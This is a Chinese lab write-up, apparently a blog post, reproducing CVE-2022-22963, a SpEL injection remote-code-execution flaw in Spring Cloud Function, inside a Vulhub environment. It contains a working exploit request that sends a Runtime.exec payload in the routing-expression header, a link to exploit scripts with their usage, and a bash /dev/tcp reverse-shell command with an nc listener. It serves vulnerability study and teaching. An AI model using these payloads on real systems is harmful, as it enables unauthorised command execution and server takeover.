SpringBoot Function 漏洞复现(CVE-2022-22963)

漏洞简介

在Spring Cloud Function 相关版本,存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL 表达式,最终执行任意命令,获取服务器权限。

该漏洞是由RoutingFunction功能导致。在Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞

Spring Cloud Function 介绍

Spring Cloud Function 是基于Spring Boot 的函数计算框架 (FaaS,函数即服务,function as aservice),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑.

SpEL介绍

Spring Expression Language,简称SpEL,是Spring框架中的一种强大的表达式语言,能在运行时构建复杂表达式、存取对象图属性、对象方法调用等等,并且能与Spring功能无缝集成。
SpEL语法支持strings, numeric values (int, real, hex), boolean, and null等基本类型,其中字符串需要用单引号包括,浮点数默认为 double 类型,用null表示null object。此外,SpEL还提供了在运行时查询和手动操作对象图的能力,这个特性让它变得非常强大。

漏洞影响版本

3.0.0 <= Spring Cloud Function <= 3.2.2

漏洞复现

实现环境

攻击机:kali		192.168.30.135
靶机:Ubuntu(Vulhub)	192.168.30.134

环境搭建

基于Vulhub靶场搭建
首先进入漏洞相关目录

docker-compose up -d

启动环境
出现以下界面则表示 环境启动成功
image.png

漏洞探测

首先使用dnslog进行漏洞验证
点击获取域名
image.png
之后使用burpsuite抓包
修改数据包请求方式和添加spring.cloud.function.routing-expression字段

POST /functionRouter HTTP/1.1
Host: xxx:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("要执行的命令")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

使用dnslog 不知为何无回显
使用漏洞探测脚本尝试
下载地址

https://github.com/mamba-2021/EXP-POC/tree/main/Spring-cloud-function-SpEL-RCE

其中poc文件为漏洞探测脚本 exp文件为漏洞利用脚本
将需要探测的网址 输出到一个文件中

echo '192.168.30.134:8080'  > url.txt

poc文件用法:

python poc文件  url.txt

可能是环境出现问题 探测超时
image.png
之后采用官方文档 的poc代码
在docker容器下的tmp目录创建一个success文件

POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

进入当前docker容器

docker-compose exec spring bash

成功创建文件 说明存在此漏洞
image.png

漏洞利用

1、使用exp脚本

脚本使用方法

python Spel_RCE_Bash_EXP.py url  lhost  lpost
#url为靶场地址
#lhost为反弹shell的地址
#lport为反弹shell的端口

在运行exp脚本之前 在攻击机中进行监听

nc -lvvp  8888  #监听8888端口

在exp文件运行时 也会进行检测
image.png
反弹shell成功

image.png

2、使用burp 进行反弹

反弹代码如下

bash -i >& /dev/tcp/192.168.30.135/9999 0>&1

需要对此代码进行base64编码处理
image.png
攻击机监听9999端口
image.png
将编码后的反弹语句
添加到burp数据包中
image.png
成功反弹
image.png

参考文章:

https://m.freebuf.com/vuls/335925.html

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值